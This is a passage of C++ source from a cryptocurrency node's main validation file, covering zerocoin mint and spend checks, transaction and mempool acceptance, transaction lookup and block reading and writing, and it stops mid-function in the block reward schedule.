bool BlockToMintValueVector(const CBlock& block, const CoinDenomination denom, vector<CBigNum>& vValues)
{
for (const CTransaction tx : block.vtx) {
if(!tx.IsZerocoinMint())
continue;
for (const CTxOut txOut : tx.vout) {
if(!txOut.scriptPubKey.IsZerocoinMint())
continue;
CValidationState state;
PublicCoin coin(Params().Zerocoin_Params());
if(!TxOutToPublicCoin(txOut, coin, state))
return false;
if (coin.getDenomination() != denom)
continue;
vValues.push_back(coin.getValue());
}
}
return true;
}
//return a list of zerocoin spends contained in a specific block, list may have many denominations
std::list<libzerocoin::CoinDenomination> ZerocoinSpendListFromBlock(const CBlock& block)
{
std::list<libzerocoin::CoinDenomination> vSpends;
for (const CTransaction tx : block.vtx) {
if (!tx.IsZerocoinSpend())
continue;
for (const CTxIn txin : tx.vin) {
if (!txin.scriptSig.IsZerocoinSpend())
continue;
libzerocoin::CoinDenomination c = libzerocoin::IntToZerocoinDenomination(txin.nSequence);
vSpends.push_back(c);
}
}
return vSpends;
}
bool CheckZerocoinMint(const uint256& txHash, const CTxOut& txout, CValidationState& state, bool fCheckOnly)
{
PublicCoin pubCoin(Params().Zerocoin_Params());
if(!TxOutToPublicCoin(txout, pubCoin, state))
return state.DoS(100, error("CheckZerocoinMint(): TxOutToPublicCoin() failed"));
if (!pubCoin.validate())
return state.DoS(100, error("CheckZerocoinMint() : PubCoin does not validate\n"));
if(!fCheckOnly && !RecordMintToDB(pubCoin, txHash))
return state.DoS(100, error("CheckZerocoinMint(): RecordMintToDB() failed"));
return true;
}
CoinSpend TxInToZerocoinSpend(const CTxIn& txin)
{
// Deserialize the CoinSpend intro a fresh object
std::vector<char, zero_after_free_allocator<char> > dataTxIn;
dataTxIn.insert(dataTxIn.end(), txin.scriptSig.begin() + BIGNUM_SIZE, txin.scriptSig.end());
CDataStream serializedCoinSpend(dataTxIn, SER_NETWORK, PROTOCOL_VERSION);
return CoinSpend(Params().Zerocoin_Params(), serializedCoinSpend);
}
bool IsZerocoinSpendUnknown(CoinSpend coinSpend, uint256 hashTx, CValidationState& state)
{
uint256 hashTxFromDB;
if(zerocoinDB->ReadCoinSpend(coinSpend.getCoinSerialNumber(), hashTxFromDB))
return hashTx == hashTxFromDB;
if(!zerocoinDB->WriteCoinSpend(coinSpend.getCoinSerialNumber(), hashTx))
return state.DoS(100, error("CheckZerocoinSpend(): Failed to write zerocoin mint to database"));
return true;
}
bool CheckZerocoinSpend(const CTransaction tx, bool fVerifySignature, CValidationState& state)
{
//max needed non-mint outputs should be 2 - one for redemption address and a possible 2nd for change
if (tx.vout.size() > 2) {
int outs = 0;
for (const CTxOut out : tx.vout) {
if (out.IsZerocoinMint())
continue;
outs++;
}
if (outs > 2)
return state.DoS(100, error("CheckZerocoinSpend(): over two non-mint outputs in a zerocoinspend transaction"));
}
//compute the txout hash that is used for the zerocoinspend signatures
CMutableTransaction txTemp;
for (const CTxOut out : tx.vout) {
txTemp.vout.push_back(out);
}
uint256 hashTxOut = txTemp.GetHash();
bool fValidated = false;
set<CBigNum> serials;
list<CoinSpend> vSpends;
CAmount nTotalRedeemed = 0;
for (const CTxIn& txin : tx.vin) {
//only check txin that is a zcspend
if (!txin.scriptSig.IsZerocoinSpend())
continue;
CoinSpend newSpend = TxInToZerocoinSpend(txin);
vSpends.push_back(newSpend);
//check that the denomination is valid
if (newSpend.getDenomination() == ZQ_ERROR)
return state.DoS(100, error("Zerocoinspend does not have the correct denomination"));
//check that denomination is what it claims to be in nSequence
if (newSpend.getDenomination() != txin.nSequence)
return state.DoS(100, error("Zerocoinspend nSequence denomination does not match CoinSpend"));
//make sure the txout has not changed
if (newSpend.getTxOutHash() != hashTxOut)
return state.DoS(100, error("Zerocoinspend does not use the same txout that was used in the SoK"));
// Skip signature verification during initial block download
if (fVerifySignature) {
//see if we have record of the accumulator used in the spend tx
CBigNum bnAccumulatorValue = 0;
if(!zerocoinDB->ReadAccumulatorValue(newSpend.getAccumulatorChecksum(), bnAccumulatorValue))
return state.DoS(100, error("Zerocoinspend could not find accumulator associated with checksum"));
Accumulator accumulator(Params().Zerocoin_Params(), newSpend.getDenomination(), bnAccumulatorValue);
//Check that the coin is on the accumulator
if(!newSpend.Verify(accumulator))
return state.DoS(100, error("CheckZerocoinSpend(): zerocoin spend did not verify"));
}
if (serials.count(newSpend.getCoinSerialNumber()))
return state.DoS(100, error("Zerocoinspend serial is used twice in the same tx"));
serials.insert(newSpend.getCoinSerialNumber());
//make sure that there is no over redemption of coins
nTotalRedeemed += ZerocoinDenominationToAmount(newSpend.getDenomination());
fValidated = true;
}
if (nTotalRedeemed < tx.GetValueOut()) {
LogPrintf("redeemed = %s , spend = %s \n", FormatMoney(nTotalRedeemed), FormatMoney(tx.GetValueOut()));
return state.DoS(100, error("Transaction spend more than was redeemed in zerocoins"));
}
// Send signal to wallet if this is ours
if (pwalletMain) {
CWalletDB walletdb(pwalletMain->strWalletFile);
list <CBigNum> listMySerials = walletdb.ListMintedCoinsSerial();
for (const auto& newSpend : vSpends) {
list<CBigNum>::iterator it = find(listMySerials.begin(), listMySerials.end(), newSpend.getCoinSerialNumber());
if (it != listMySerials.end()) {
LogPrintf("%s: %s detected spent zerocoin mint in transaction %s \n", __func__, it->GetHex(), tx.GetHash().GetHex());
pwalletMain->NotifyZerocoinChanged(pwalletMain, it->GetHex(), "Used", CT_UPDATED);
}
}
}
return fValidated;
}
bool CheckTransaction(const CTransaction& tx, bool fZerocoinActive, bool fRejectBadUTXO, CValidationState& state)
{
// Basic checks that don't depend on any context
if (tx.vin.empty())
return state.DoS(10, error("CheckTransaction() : vin empty"),
REJECT_INVALID, "bad-txns-vin-empty");
if (tx.vout.empty())
return state.DoS(10, error("CheckTransaction() : vout empty"),
REJECT_INVALID, "bad-txns-vout-empty");
// Size limits
unsigned int nMaxSize = MAX_ZEROCOIN_TX_SIZE;
if (::GetSerializeSize(tx, SER_NETWORK, PROTOCOL_VERSION) > nMaxSize)
return state.DoS(100, error("CheckTransaction() : size limits failed"),
REJECT_INVALID, "bad-txns-oversize");
// Check for negative or overflow output values
CAmount nValueOut = 0;
int nZCSpendCount = 0;
BOOST_FOREACH (const CTxOut& txout, tx.vout) {
if (txout.IsEmpty() && !tx.IsCoinBase() && !tx.IsCoinStake())
return state.DoS(100, error("CheckTransaction(): txout empty for user transaction"));
if (txout.nValue < 0)
return state.DoS(100, error("CheckTransaction() : txout.nValue negative"),
REJECT_INVALID, "bad-txns-vout-negative");
if (txout.nValue > Params().MaxMoneyOut())
return state.DoS(100, error("CheckTransaction() : txout.nValue too high"),
REJECT_INVALID, "bad-txns-vout-toolarge");
nValueOut += txout.nValue;
if (!MoneyRange(nValueOut))
return state.DoS(100, error("CheckTransaction() : txout total out of range"),
REJECT_INVALID, "bad-txns-txouttotal-toolarge");
if (fZerocoinActive && txout.IsZerocoinMint()) {
if(!CheckZerocoinMint(tx.GetHash(), txout, state, false)) {
if (fRejectBadUTXO)
return state.DoS(100, error("CheckTransaction() : invalid zerocoin mint"));
}
}
if (fZerocoinActive && txout.scriptPubKey.IsZerocoinSpend())
nZCSpendCount++;
}
if (fZerocoinActive) {
if (nZCSpendCount > Params().Zerocoin_MaxSpendsPerTransaction())
return state.DoS(100, error("CheckTransaction() : there are more zerocoin spends than are allowed in one transaction"));
if (tx.IsZerocoinSpend()) {
//require that a zerocoinspend only has inputs that are zerocoins
for (const CTxIn in : tx.vin) {
if (!in.scriptSig.IsZerocoinSpend())
return state.DoS(100,
error("CheckTransaction() : zerocoinspend contains inputs that are not zerocoins"));
}
// Do not require signature verification if this is initial sync and a block over 24 hours old
bool fVerifySignature = !IsInitialBlockDownload() && (GetTime() - chainActive.Tip()->GetBlockTime() < (60*60*24));
if (!CheckZerocoinSpend(tx, fVerifySignature, state))
return state.DoS(100, error("CheckTransaction() : invalid zerocoin spend"));
}
}
// Check for duplicate inputs
set<COutPoint> vInOutPoints;
set<CBigNum> vZerocoinSpendSerials;
for (const CTxIn& txin : tx.vin) {
if (vInOutPoints.count(txin.prevout))
return state.DoS(100, error("CheckTransaction() : duplicate inputs"),
REJECT_INVALID, "bad-txns-inputs-duplicate");
//duplicate zcspend serials are checked in CheckZerocoinSpend()
if (!txin.scriptSig.IsZerocoinSpend())
vInOutPoints.insert(txin.prevout);
}
if (tx.IsCoinBase()) {
if (tx.vin[0].scriptSig.size() < 2 || tx.vin[0].scriptSig.size() > 150)
return state.DoS(100, error("CheckTransaction() : coinbase script size=%d", tx.vin[0].scriptSig.size()),
REJECT_INVALID, "bad-cb-length");
} else if (fZerocoinActive && tx.IsZerocoinSpend()) {
if(tx.vin.size() < 1 || static_cast<int>(tx.vin.size()) > Params().Zerocoin_MaxSpendsPerTransaction())
return state.DoS(10, error("CheckTransaction() : Zerocoin Spend has more than allowed txin's"), REJECT_INVALID, "bad-zerocoinspend");
} else {
BOOST_FOREACH (const CTxIn& txin, tx.vin)
if (txin.prevout.IsNull() && (fZerocoinActive && !txin.scriptSig.IsZerocoinSpend()))
return state.DoS(10, error("CheckTransaction() : prevout is null"),
REJECT_INVALID, "bad-txns-prevout-null");
}
return true;
}
bool CheckFinalTx(const CTransaction& tx, int flags)
{
AssertLockHeld(cs_main);
// By convention a negative value for flags indicates that the
// current network-enforced consensus rules should be used. In
// a future soft-fork scenario that would mean checking which
// rules would be enforced for the next block and setting the
// appropriate flags. At the present time no soft-forks are
// scheduled, so no flags are set.
flags = std::max(flags, 0);
// CheckFinalTx() uses chainActive.Height()+1 to evaluate
// nLockTime because when IsFinalTx() is called within
// CBlock::AcceptBlock(), the height of the block *being*
// evaluated is what is used. Thus if we want to know if a
// transaction can be part of the *next* block, we need to call
// IsFinalTx() with one more than chainActive.Height().
const int nBlockHeight = chainActive.Height() + 1;
// BIP113 will require that time-locked transactions have nLockTime set to
// less than the median time of the previous block they're contained in.
// When the next block is created its previous block will be the current
// chain tip, so we use that to calculate the median time passed to
// IsFinalTx() if LOCKTIME_MEDIAN_TIME_PAST is set.
const int64_t nBlockTime = (flags & LOCKTIME_MEDIAN_TIME_PAST) ? chainActive.Tip()->GetMedianTimePast() : GetAdjustedTime();
return IsFinalTx(tx, nBlockHeight, nBlockTime);
}
CAmount GetMinRelayFee(const CTransaction& tx, unsigned int nBytes, bool fAllowFree)
{
{
LOCK(mempool.cs);
uint256 hash = tx.GetHash();
double dPriorityDelta = 0;
CAmount nFeeDelta = 0;
mempool.ApplyDeltas(hash, dPriorityDelta, nFeeDelta);
if (dPriorityDelta > 0 || nFeeDelta > 0)
return 0;
}
CAmount nMinFee = ::minRelayTxFee.GetFee(nBytes);
if (fAllowFree) {
// There is a free transaction area in blocks created by most miners,
// * If we are relaying we allow transactions up to DEFAULT_BLOCK_PRIORITY_SIZE - 1000
// to be considered to fall into this category. We don't want to encourage sending
// multiple transactions instead of one big transaction to avoid fees.
if (nBytes < (DEFAULT_BLOCK_PRIORITY_SIZE - 1000))
nMinFee = 0;
}
if (!MoneyRange(nMinFee))
nMinFee = Params().MaxMoneyOut();
return nMinFee;
}
bool AcceptToMemoryPool(CTxMemPool& pool, CValidationState& state, const CTransaction& tx, bool fLimitFree, bool* pfMissingInputs, bool fRejectInsaneFee, bool ignoreFees)
{
AssertLockHeld(cs_main);
if (pfMissingInputs)
*pfMissingInputs = false;
//Temporarily disable zerocoin for maintenance
if (GetAdjustedTime() > GetSporkValue(SPORK_16_ZEROCOIN_MAINTENANCE_MODE) && tx.ContainsZerocoins())
return state.DoS(10, error("AcceptToMemoryPool : Zerocoin transactions are temporarily disabled for maintenance"), REJECT_INVALID, "bad-tx");
if (!CheckTransaction(tx, chainActive.Height() >= Params().Zerocoin_AccumulatorStartHeight(), true, state))
return state.DoS(100, error("AcceptToMemoryPool: : CheckTransaction failed"), REJECT_INVALID, "bad-tx");
// Coinbase is only valid in a block, not as a loose transaction
if (tx.IsCoinBase())
return state.DoS(100, error("AcceptToMemoryPool: : coinbase as individual tx"),
REJECT_INVALID, "coinbase");
//Coinstake is also only valid in a block, not as a loose transaction
if (tx.IsCoinStake())
return state.DoS(100, error("AcceptToMemoryPool: coinstake as individual tx"),
REJECT_INVALID, "coinstake");
// Rather not work on nonstandard transactions (unless -testnet/-regtest)
string reason;
if (Params().RequireStandard() && !IsStandardTx(tx, reason))
return state.DoS(0,
error("AcceptToMemoryPool : nonstandard transaction: %s", reason),
REJECT_NONSTANDARD, reason);
// is it already in the memory pool?
uint256 hash = tx.GetHash();
if (pool.exists(hash)) {
LogPrintf("%s tx already in mempool\n", __func__);
return false;
}
// ----------- swiftTX transaction scanning -----------
BOOST_FOREACH (const CTxIn& in, tx.vin) {
if (mapLockedInputs.count(in.prevout)) {
if (mapLockedInputs[in.prevout] != tx.GetHash()) {
return state.DoS(0,
error("AcceptToMemoryPool : conflicts with existing transaction lock: %s", reason),
REJECT_INVALID, "tx-lock-conflict");
}
}
}
// Check for conflicts with in-memory transactions
if (!tx.IsZerocoinSpend()) {
LOCK(pool.cs); // protect pool.mapNextTx
for (unsigned int i = 0; i < tx.vin.size(); i++) {
COutPoint outpoint = tx.vin[i].prevout;
if (pool.mapNextTx.count(outpoint)) {
// Disable replacement feature for now
return false;
}
}
}
{
CCoinsView dummy;
CCoinsViewCache view(&dummy);
CAmount nValueIn = 0;
if(tx.IsZerocoinSpend()){
nValueIn = tx.GetZerocoinSpent();
//Check that txid is not already in the chain
int nHeightTx = 0;
if (IsTransactionInChain(tx.GetHash(), nHeightTx))
return state.Invalid(error("AcceptToMemoryPool : zTrustron spend tx %s already in block %d", tx.GetHash().GetHex(), nHeightTx),
REJECT_DUPLICATE, "bad-txns-inputs-spent");
//Check for double spending of serial #'s
for (const CTxIn& txIn : tx.vin) {
if (!txIn.scriptSig.IsZerocoinSpend())
continue;
CoinSpend spend = TxInToZerocoinSpend(txIn);
int nHeightTx = 0;
if (IsSerialInBlockchain(spend.getCoinSerialNumber(), nHeightTx))
return state.Invalid(error("%s : zTrustron spend with serial %s is already in block %d\n",
__func__, spend.getCoinSerialNumber().GetHex(), nHeightTx));
//Is serial in the acceptable range
if (!spend.HasValidSerial(Params().Zerocoin_Params()))
return state.Invalid(error("%s : zTrustron spend with serial %s from tx %s is not in valid range\n",
__func__, spend.getCoinSerialNumber().GetHex(), tx.GetHash().GetHex()));
}
} else {
LOCK(pool.cs);
CCoinsViewMemPool viewMemPool(pcoinsTip, pool);
view.SetBackend(viewMemPool);
// do we already have it?
if (view.HaveCoins(hash))
return false;
// do all inputs exist?
// Note that this does not check for the presence of actual outputs (see the next check for that),
// only helps filling in pfMissingInputs (to determine missing vs spent).
for (const CTxIn txin : tx.vin) {
if (!view.HaveCoins(txin.prevout.hash)) {
if (pfMissingInputs)
*pfMissingInputs = true;
return false;
}
}
// are the actual inputs available?
if (!view.HaveInputs(tx))
return state.Invalid(error("AcceptToMemoryPool : inputs already spent"),
REJECT_DUPLICATE, "bad-txns-inputs-spent");
// Bring the best block into scope
view.GetBestBlock();
nValueIn = view.GetValueIn(tx);
// we have all inputs cached now, so switch back to dummy, so we don't need to keep lock on mempool
view.SetBackend(dummy);
}
// Check for non-standard pay-to-script-hash in inputs
if (Params().RequireStandard() && !AreInputsStandard(tx, view))
return error("AcceptToMemoryPool: : nonstandard transaction input");
// Check that the transaction doesn't have an excessive number of
// sigops, making it impossible to mine. Since the coinbase transaction
// itself can contain sigops MAX_TX_SIGOPS is less than
// MAX_BLOCK_SIGOPS; we still consider this an invalid rather than
// merely non-standard transaction.
if (!tx.IsZerocoinSpend()) {
unsigned int nSigOps = GetLegacySigOpCount(tx);
unsigned int nMaxSigOps = MAX_TX_SIGOPS_CURRENT;
nSigOps += GetP2SHSigOpCount(tx, view);
if(nSigOps > nMaxSigOps)
return state.DoS(0,
error("AcceptToMemoryPool : too many sigops %s, %d > %d",
hash.ToString(), nSigOps, nMaxSigOps),
REJECT_NONSTANDARD, "bad-txns-too-many-sigops");
}
CAmount nValueOut = tx.GetValueOut();
CAmount nFees = nValueIn - nValueOut;
double dPriority = 0;
if (!tx.IsZerocoinSpend())
view.GetPriority(tx, chainActive.Height());
CTxMemPoolEntry entry(tx, nFees, GetTime(), dPriority, chainActive.Height());
unsigned int nSize = entry.GetTxSize();
// Don't accept it if it can't get into a block
// but prioritise dstx and don't check fees for it
if (mapObfuscationBroadcastTxes.count(hash)) {
mempool.PrioritiseTransaction(hash, hash.ToString(), 1000, 0.1 * COIN);
} else if (!ignoreFees) {
CAmount txMinFee = GetMinRelayFee(tx, nSize, true);
if (fLimitFree && nFees < txMinFee && !tx.IsZerocoinSpend())
return state.DoS(0, error("AcceptToMemoryPool : not enough fees %s, %d < %d",
hash.ToString(), nFees, txMinFee),
REJECT_INSUFFICIENTFEE, "insufficient fee");
// Require that free transactions have sufficient priority to be mined in the next block.
if (tx.IsZerocoinMint()) {
if(nFees < Params().Zerocoin_MintFee() * tx.GetZerocoinMintCount())
return state.DoS(0, false, REJECT_INSUFFICIENTFEE, "insufficient fee for zerocoinmint");
} else if (!tx.IsZerocoinSpend() && GetBoolArg("-relaypriority", true) && nFees < ::minRelayTxFee.GetFee(nSize) && !AllowFree(view.GetPriority(tx, chainActive.Height() + 1))) {
return state.DoS(0, false, REJECT_INSUFFICIENTFEE, "insufficient priority");
}
// Continuously rate-limit free (really, very-low-fee) transactions
// This mitigates 'penny-flooding' -- sending thousands of free transactions just to
// be annoying or make others' transactions take longer to confirm.
if (fLimitFree && nFees < ::minRelayTxFee.GetFee(nSize) && !tx.IsZerocoinSpend()) {
static CCriticalSection csFreeLimiter;
static double dFreeCount;
static int64_t nLastTime;
int64_t nNow = GetTime();
LOCK(csFreeLimiter);
// Use an exponentially decaying ~10-minute window:
dFreeCount *= pow(1.0 - 1.0 / 600.0, (double)(nNow - nLastTime));
nLastTime = nNow;
// -limitfreerelay unit is thousand-bytes-per-minute
// At default rate it would take over a month to fill 1GB
if (dFreeCount >= GetArg("-limitfreerelay", 30) * 10 * 1000)
return state.DoS(0, error("AcceptToMemoryPool : free transaction rejected by rate limiter"),
REJECT_INSUFFICIENTFEE, "rate limited free transaction");
LogPrint("mempool", "Rate limit dFreeCount: %g => %g\n", dFreeCount, dFreeCount + nSize);
dFreeCount += nSize;
}
}
if (fRejectInsaneFee && nFees > ::minRelayTxFee.GetFee(nSize) * 10000)
return error("AcceptToMemoryPool: : insane fees %s, %d > %d",
hash.ToString(),
nFees, ::minRelayTxFee.GetFee(nSize) * 10000);
// Check against previous transactions
// This is done last to help prevent CPU exhaustion denial-of-service attacks.
if (!CheckInputs(tx, state, view, true, STANDARD_SCRIPT_VERIFY_FLAGS, true)) {
return error("AcceptToMemoryPool: : ConnectInputs failed %s", hash.ToString());
}
// Check again against just the consensus-critical mandatory script
// verification flags, in case of bugs in the standard flags that cause
// transactions to pass as valid when they're actually invalid. For
// instance the STRICTENC flag was incorrectly allowing certain
// CHECKSIG NOT scripts to pass, even though they were invalid.
//
// There is a similar check in CreateNewBlock() to prevent creating
// invalid blocks, however allowing such transactions into the mempool
// can be exploited as a DoS attack.
if (!CheckInputs(tx, state, view, true, MANDATORY_SCRIPT_VERIFY_FLAGS, true)) {
return error("AcceptToMemoryPool: : BUG! PLEASE REPORT THIS! ConnectInputs failed against MANDATORY but not STANDARD flags %s", hash.ToString());
}
// Store transaction in memory
pool.addUnchecked(hash, entry);
}
SyncWithWallets(tx, NULL);
return true;
}
bool AcceptableInputs(CTxMemPool& pool, CValidationState& state, const CTransaction& tx, bool fLimitFree, bool* pfMissingInputs, bool fRejectInsaneFee, bool isDSTX)
{
AssertLockHeld(cs_main);
if (pfMissingInputs)
*pfMissingInputs = false;
if (!CheckTransaction(tx, chainActive.Height() >= Params().Zerocoin_AccumulatorStartHeight(), true, state))
return error("AcceptableInputs: : CheckTransaction failed");
// Coinbase is only valid in a block, not as a loose transaction
if (tx.IsCoinBase())
return state.DoS(100, error("AcceptableInputs: : coinbase as individual tx"),
REJECT_INVALID, "coinbase");
// Rather not work on nonstandard transactions (unless -testnet/-regtest)
string reason;
// for any real tx this will be checked on AcceptToMemoryPool anyway
// if (Params().RequireStandard() && !IsStandardTx(tx, reason))
// return state.DoS(0,
// error("AcceptableInputs : nonstandard transaction: %s", reason),
// REJECT_NONSTANDARD, reason);
// is it already in the memory pool?
uint256 hash = tx.GetHash();
if (pool.exists(hash))
return false;
// ----------- swiftTX transaction scanning -----------
BOOST_FOREACH (const CTxIn& in, tx.vin) {
if (mapLockedInputs.count(in.prevout)) {
if (mapLockedInputs[in.prevout] != tx.GetHash()) {
return state.DoS(0,
error("AcceptableInputs : conflicts with existing transaction lock: %s", reason),
REJECT_INVALID, "tx-lock-conflict");
}
}
}
// Check for conflicts with in-memory transactions
if (!tx.IsZerocoinSpend()) {
LOCK(pool.cs); // protect pool.mapNextTx
for (unsigned int i = 0; i < tx.vin.size(); i++) {
COutPoint outpoint = tx.vin[i].prevout;
if (pool.mapNextTx.count(outpoint)) {
// Disable replacement feature for now
return false;
}
}
}
{
CCoinsView dummy;
CCoinsViewCache view(&dummy);
CAmount nValueIn = 0;
{
LOCK(pool.cs);
CCoinsViewMemPool viewMemPool(pcoinsTip, pool);
view.SetBackend(viewMemPool);
// do we already have it?
if (view.HaveCoins(hash))
return false;
// do all inputs exist?
// Note that this does not check for the presence of actual outputs (see the next check for that),
// only helps filling in pfMissingInputs (to determine missing vs spent).
for (const CTxIn txin : tx.vin) {
if (!view.HaveCoins(txin.prevout.hash)) {
if (pfMissingInputs)
*pfMissingInputs = true;
return false;
}
}
// are the actual inputs available?
if (!view.HaveInputs(tx))
return state.Invalid(error("AcceptableInputs : inputs already spent"),
REJECT_DUPLICATE, "bad-txns-inputs-spent");
// Bring the best block into scope
view.GetBestBlock();
nValueIn = view.GetValueIn(tx);
// we have all inputs cached now, so switch back to dummy, so we don't need to keep lock on mempool
view.SetBackend(dummy);
}
// Check for non-standard pay-to-script-hash in inputs
// for any real tx this will be checked on AcceptToMemoryPool anyway
// if (Params().RequireStandard() && !AreInputsStandard(tx, view))
// return error("AcceptableInputs: : nonstandard transaction input");
// Check that the transaction doesn't have an excessive number of
// sigops, making it impossible to mine. Since the coinbase transaction
// itself can contain sigops MAX_TX_SIGOPS is less than
// MAX_BLOCK_SIGOPS; we still consider this an invalid rather than
// merely non-standard transaction.
unsigned int nSigOps = GetLegacySigOpCount(tx);
unsigned int nMaxSigOps = MAX_TX_SIGOPS_CURRENT;
nSigOps += GetP2SHSigOpCount(tx, view);
if (nSigOps > nMaxSigOps)
return state.DoS(0,
error("AcceptableInputs : too many sigops %s, %d > %d",
hash.ToString(), nSigOps, nMaxSigOps),
REJECT_NONSTANDARD, "bad-txns-too-many-sigops");
CAmount nValueOut = tx.GetValueOut();
CAmount nFees = nValueIn - nValueOut;
double dPriority = view.GetPriority(tx, chainActive.Height());
CTxMemPoolEntry entry(tx, nFees, GetTime(), dPriority, chainActive.Height());
unsigned int nSize = entry.GetTxSize();
// Don't accept it if it can't get into a block
// but prioritise dstx and don't check fees for it
if (isDSTX) {
mempool.PrioritiseTransaction(hash, hash.ToString(), 1000, 0.1 * COIN);
} else { // same as !ignoreFees for AcceptToMemoryPool
CAmount txMinFee = GetMinRelayFee(tx, nSize, true);
if (fLimitFree && nFees < txMinFee && !tx.IsZerocoinSpend())
return state.DoS(0, error("AcceptableInputs : not enough fees %s, %d < %d",
hash.ToString(), nFees, txMinFee),
REJECT_INSUFFICIENTFEE, "insufficient fee");
// Require that free transactions have sufficient priority to be mined in the next block.
if (GetBoolArg("-relaypriority", true) && nFees < ::minRelayTxFee.GetFee(nSize) && !AllowFree(view.GetPriority(tx, chainActive.Height() + 1))) {
return state.DoS(0, false, REJECT_INSUFFICIENTFEE, "insufficient priority");
}
// Continuously rate-limit free (really, very-low-fee) transactions
// This mitigates 'penny-flooding' -- sending thousands of free transactions just to
// be annoying or make others' transactions take longer to confirm.
if (fLimitFree && nFees < ::minRelayTxFee.GetFee(nSize) && !tx.IsZerocoinSpend()) {
static CCriticalSection csFreeLimiter;
static double dFreeCount;
static int64_t nLastTime;
int64_t nNow = GetTime();
LOCK(csFreeLimiter);
// Use an exponentially decaying ~10-minute window:
dFreeCount *= pow(1.0 - 1.0 / 600.0, (double)(nNow - nLastTime));
nLastTime = nNow;
// -limitfreerelay unit is thousand-bytes-per-minute
// At default rate it would take over a month to fill 1GB
if (dFreeCount >= GetArg("-limitfreerelay", 30) * 10 * 1000)
return state.DoS(0, error("AcceptableInputs : free transaction rejected by rate limiter"),
REJECT_INSUFFICIENTFEE, "rate limited free transaction");
LogPrint("mempool", "Rate limit dFreeCount: %g => %g\n", dFreeCount, dFreeCount + nSize);
dFreeCount += nSize;
}
}
if (fRejectInsaneFee && nFees > ::minRelayTxFee.GetFee(nSize) * 10000)
return error("AcceptableInputs: : insane fees %s, %d > %d",
hash.ToString(),
nFees, ::minRelayTxFee.GetFee(nSize) * 10000);
// Check against previous transactions
// This is done last to help prevent CPU exhaustion denial-of-service attacks.
if (!CheckInputs(tx, state, view, false, STANDARD_SCRIPT_VERIFY_FLAGS, true)) {
return error("AcceptableInputs: : ConnectInputs failed %s", hash.ToString());
}
// Check again against just the consensus-critical mandatory script
// verification flags, in case of bugs in the standard flags that cause
// transactions to pass as valid when they're actually invalid. For
// instance the STRICTENC flag was incorrectly allowing certain
// CHECKSIG NOT scripts to pass, even though they were invalid.
//
// There is a similar check in CreateNewBlock() to prevent creating
// invalid blocks, however allowing such transactions into the mempool
// can be exploited as a DoS attack.
// for any real tx this will be checked on AcceptToMemoryPool anyway
// if (!CheckInputs(tx, state, view, false, MANDATORY_SCRIPT_VERIFY_FLAGS, true))
// {
// return error("AcceptableInputs: : BUG! PLEASE REPORT THIS! ConnectInputs failed against MANDATORY but not STANDARD flags %s", hash.ToString());
// }
// Store transaction in memory
// pool.addUnchecked(hash, entry);
}
// SyncWithWallets(tx, NULL);
return true;
}
/** Return transaction in tx, and if it was found inside a block, its hash is placed in hashBlock */
bool GetTransaction(const uint256& hash, CTransaction& txOut, uint256& hashBlock, bool fAllowSlow)
{
CBlockIndex* pindexSlow = NULL;
{
LOCK(cs_main);
{
if (mempool.lookup(hash, txOut)) {
return true;
}
}
if (fTxIndex) {
CDiskTxPos postx;
if (pblocktree->ReadTxIndex(hash, postx)) {
CAutoFile file(OpenBlockFile(postx, true), SER_DISK, CLIENT_VERSION);
if (file.IsNull())
return error("%s: OpenBlockFile failed", __func__);
CBlockHeader header;
try {
file >> header;
fseek(file.Get(), postx.nTxOffset, SEEK_CUR);
file >> txOut;
} catch (std::exception& e) {
return error("%s : Deserialize or I/O error - %s", __func__, e.what());
}
hashBlock = header.GetHash();
if (txOut.GetHash() != hash)
return error("%s : txid mismatch", __func__);
return true;
}
}
if (fAllowSlow) { // use coin database to locate block that contains transaction, and scan it
int nHeight = -1;
{
CCoinsViewCache& view = *pcoinsTip;
const CCoins* coins = view.AccessCoins(hash);
if (coins)
nHeight = coins->nHeight;
}
if (nHeight > 0)
pindexSlow = chainActive[nHeight];
}
}
if (pindexSlow) {
CBlock block;
if (ReadBlockFromDisk(block, pindexSlow)) {
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
if (tx.GetHash() == hash) {
txOut = tx;
hashBlock = pindexSlow->GetBlockHash();
return true;
}
}
}
}
return false;
}
//////////////////////////////////////////////////////////////////////////////
//
// CBlock and CBlockIndex
//
bool WriteBlockToDisk(CBlock& block, CDiskBlockPos& pos)
{
// Open history file to append
CAutoFile fileout(OpenBlockFile(pos), SER_DISK, CLIENT_VERSION);
if (fileout.IsNull())
return error("WriteBlockToDisk : OpenBlockFile failed");
// Write index header
unsigned int nSize = fileout.GetSerializeSize(block);
fileout << FLATDATA(Params().MessageStart()) << nSize;
// Write block
long fileOutPos = ftell(fileout.Get());
if (fileOutPos < 0)
return error("WriteBlockToDisk : ftell failed");
pos.nPos = (unsigned int)fileOutPos;
fileout << block;
return true;
}
bool ReadBlockFromDisk(CBlock& block, const CDiskBlockPos& pos)
{
block.SetNull();
// Open history file to read
CAutoFile filein(OpenBlockFile(pos, true), SER_DISK, CLIENT_VERSION);
if (filein.IsNull())
return error("ReadBlockFromDisk : OpenBlockFile failed");
// Read block
try {
filein >> block;
} catch (std::exception& e) {
return error("%s : Deserialize or I/O error - %s", __func__, e.what());
}
// Check the header
if (block.IsProofOfWork()) {
if (!CheckProofOfWork(block.GetHash(), block.nBits))
return error("ReadBlockFromDisk : Errors in block header");
}
return true;
}
bool ReadBlockFromDisk(CBlock& block, const CBlockIndex* pindex)
{
if (!ReadBlockFromDisk(block, pindex->GetBlockPos()))
return false;
if (block.GetHash() != pindex->GetBlockHash()) {
LogPrintf("%s : block=%s index=%s\n", __func__, block.GetHash().ToString().c_str(), pindex->GetBlockHash().ToString().c_str());
return error("ReadBlockFromDisk(CBlock&, CBlockIndex*) : GetHash() doesn't match index");
}
return true;
}
double ConvertBitsToDouble(unsigned int nBits)
{
int nShift = (nBits >> 24) & 0xff;
double dDiff =
(double)0x0000ffff / (double)(nBits & 0x00ffffff);
while (nShift < 29) {
dDiff *= 256.0;
nShift++;
}
while (nShift > 29) {
dDiff /= 256.0;
nShift--;
}
return dDiff;
}
int64_t GetBlockValue(int nHeight)
{
int64_t nSubsidy = 0;
if (Params().NetworkID() == CBaseChainParams::TESTNET) {
if (nHeight < 200 && nHeight > 0)
return 10000 * COIN;
}
if(IsTreasuryBlock(nHeight)) {
LogPrintf("GetBlockValue(): this is a treasury block\n");
nSubsidy = GetTreasuryAward(nHeight);
} else {
if (nHeight == 0) {
nSubsidy = 250 * COIN; //genesis
} else if(nHeight == 1 ){
nSubsidy = 200000 * COIN; //1,450,000
} else if(nHeight > 1 && nHeight <= 400) { //PoW phase
